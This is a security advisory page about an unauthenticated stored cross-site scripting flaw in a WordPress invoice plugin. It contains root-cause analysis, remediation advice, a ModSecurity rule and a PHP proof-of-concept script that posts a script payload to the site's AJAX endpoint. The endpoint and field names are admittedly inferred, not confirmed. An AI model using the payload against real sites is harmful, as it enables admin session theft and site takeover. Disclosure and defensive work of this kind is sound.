Published : August 11, 2026

CVE-2026-65510: PeproDev Ultimate Invoice <= 2.2.6 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.2.6
Patched Version
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65510 (metadata-based):

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the PeproDev Ultimate Invoice plugin for WordPress. The plugin, identified by the slug pepro-ultimate-invoice, is affected in versions up to and including 2.2.6. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates low complexity, no authentication or user interaction required, and a high severity score of 7.2. The flaw resides in insufficient input sanitization and output escaping, allowing attackers to inject arbitrary scripts into pages that execute when a user accesses them.

Root Cause:
Based on the CWE-79 classification and the provided description, the root cause is the plugin’s failure to sanitize user-supplied input and escape output during page generation. The plugin likely handles data submitted through unauthenticated endpoints such as invoice forms or client-facing submission interfaces. Because the vulnerable and/or patched plugin versions are not available for download from WordPress.org, Atomic Edge analysis must infer the specific code patterns rather than confirm them from source. The plugin likely stores attacker-controlled data, such as client name, company name, or invoice notes, in the database without sufficient sanitization (e.g., sanitize_text_field or wp_kses) and later outputs it in the admin invoice preview or PDF rendering context without using escaping functions (e.g., esc_html or esc_attr). The unauthenticated nature suggests the vulnerable input is handled by an AJAX action or REST endpoint that fails to verify nonce or capability, allowing any visitor to submit malicious data.

Exploitation:
To exploit this vulnerability, an attacker would submit crafted data to any unauthenticated form or AJAX endpoint used by the plugin, likely under /wp-admin/admin-ajax.php with an action that corresponds to the plugin’s public invoice handling. Since the plugin is an invoice system, the attacker might supply parameters such as invoice details, client information, or order notes containing JavaScript. For example, an attacker could POST to /wp-admin/admin-ajax.php with action like peprodev_ultimate_invoice_save_invoice and a parameter carrying a payload such as alert(document.cookie). The payload would be stored in the database and later rendered without sanitization, executing when an administrator opens the invoice page or PDF preview. Because the attack is unauthenticated, no nonce or capability check is required, making the attack vector straightforward.

Remediation:
The fix requires implementing proper input sanitization and output escaping throughout the plugin. On the input side, the plugin should sanitize any user-supplied data using functions like sanitize_text_field, sanitize_textarea_field, or wp_kses with an allowed HTML whitelist, depending on the context. On the output side, the plugin must escape all stored or dynamic data when rendered, using esc_html, esc_attr, or esc_url as appropriate. For any AJAX or REST handler that accepts unauthenticated input, the developer should also add nonce checks and capability verification to restrict access, even though the core issue is the XSS. Since no patched version is available, administrators should monitor for updates or consider disabling or removing the plugin until a fixed version is released.

Impact:
Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into the WordPress admin dashboard. When an administrator views the affected invoice page, the script executes in the context of the admin session, which can lead to theft of session cookies, admin account takeover, and the ability to create rogue admin users, modify site content, or inject backdoors. The scope change in the CVSS vector (S:C) indicates the attack can impact resources beyond the vulnerable component, potentially leading to full site compromise. Given that the plugin functions as an invoice management system, the attacker could also tamper with financial records or exfiltrate sensitive customer and order data stored in the plugin.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-65510 via PeproDev Ultimate Invoice AJAX',severity:'CRITICAL',tag:'CVE-2026-65510'"
  SecRule ARGS_POST:action "@streq peprodev_ultimate_invoice_save_invoice" "chain"
    SecRule ARGS_POST:client_name "@rx <script[^>]*>.*</script>" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65510 - PeproDev Ultimate Invoice <= 2.2.6 - Unauthenticated Stored Cross-Site Scripting

/**
 * ASSUMPTIONS:
 * - The vulnerable plugin likely exposes an unauthenticated AJAX action for invoice creation.
 * - Based on the plugin slug 'pepro-ultimate-invoice', we assume an action like
 *   'peprodev_ultimate_invoice_save_invoice' accepts parameters such as 'client_name'.
 * - Since no official patched version exists, this PoC aims to demonstrate the XSS injection.
 * - The attacker does not need authentication, so no nonce is required.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$action = 'peprodev_ultimate_invoice_save_invoice';

// XSS payload that will execute when an admin views the stored invoice.
$payload = '<script>alert("XSS by Atomic Edge");</script>';

$post_data = [
    'action' => $action,
    'client_name' => $payload,
    'invoice_number' => 'INV-2026-0001',
    'invoice_total' => '100.00',
    // Additional fields may be required by the plugin; adjust as needed.
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . PHP_EOL;
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[+] HTTP Code: $http_coden";
    echo "[+] Response:n$responsen";
    if (strpos($response, 'success') !== false || $http_code == 200) {
        echo "[+] Payload likely stored. Access the invoice page to trigger XSS.n";
    }
}
curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.